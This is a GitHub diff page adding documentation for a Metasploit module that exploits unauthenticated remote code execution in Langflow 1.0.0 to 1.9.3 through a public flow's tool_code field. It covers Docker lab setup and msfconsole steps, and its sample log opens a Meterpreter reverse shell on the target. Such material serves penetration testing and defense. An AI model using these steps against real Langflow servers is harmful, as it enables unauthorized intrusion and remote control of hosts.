Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
## Vulnerable Application

Langflow versions 1.0.0 through 1.9.3 are susceptible to unauthenticated remote code execution
due to improper handling of a public flow's `tool_code` field and a lack of required authentication
for the `/api/v1/build_public_tmp/<flow_id>/flow` endpoint.

Note:
1. An unauthenticated attacker can only trigger builds using a known flow ID.
2. A low-privileged authenticated attacker can create malicious flows using credentials
and then execute them with or without authentication.

The vulnerability affects:

* Langflow 1.0.0 through 1.9.3


This module was successfully tested on:

* Langflow 1.8.4 installed with Docker


### Installation
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
2. Install Ubuntu Linux (or other Linux distro) in your virtualization engine.
3. Pull pre-built Langflow docker container (v1.8.4) in your VM.
`docker pull langflowai/langflow:1.8.4`
4. Start the langflow container.


```
sudo docker run -d \
--name langflow \
-p 192.168.1.30:7860:7860 \
langflowai/langflow:1.8.4
```

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_10134`
4. Do: `run rhosts=<rhost> FLOW_ID=<langflow flow id>`
5. You should get a meterpreter


## Options

### FLOW_ID
The UUID of a public Langflow flow. This value can be obtained from the Langflow web interface when viewing a flow.

To make a flow public:
1. Navigate to the Langflow web UI at http://:7860
2. Within the UI, either select an existing flow from the list, or click on New Flow
3. In the top right of the screen, click on Share.
4. Toggle the Shareable Playground radio button so its enabled.

## Scenarios
```
msf > use multi/http/langflow_unauth_rce_cve_2026_10134
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf exploit(multi/http/langflow_unauth_rce_cve_2026_10134) > set PASSWORD root
PASSWORD => root
msf exploit(multi/http/langflow_unauth_rce_cve_2026_10134) > set USERNAME root
USERNAME => root
msf exploit(multi/http/langflow_unauth_rce_cve_2026_10134) > set RHOSTS 192.168.1.30
RHOSTS => 192.168.1.30
msf exploit(multi/http/langflow_unauth_rce_cve_2026_10134) > exploit
[*] Started reverse TCP handler on 192.168.1.30:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.8.4 detected, which appears vulnerable.
[*] Sending stage (34540 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.1.30:4444 -> 172.17.0.2:35738) at 2026-09-04 14:17:06 -0400

meterpreter >
```
Loading
Loading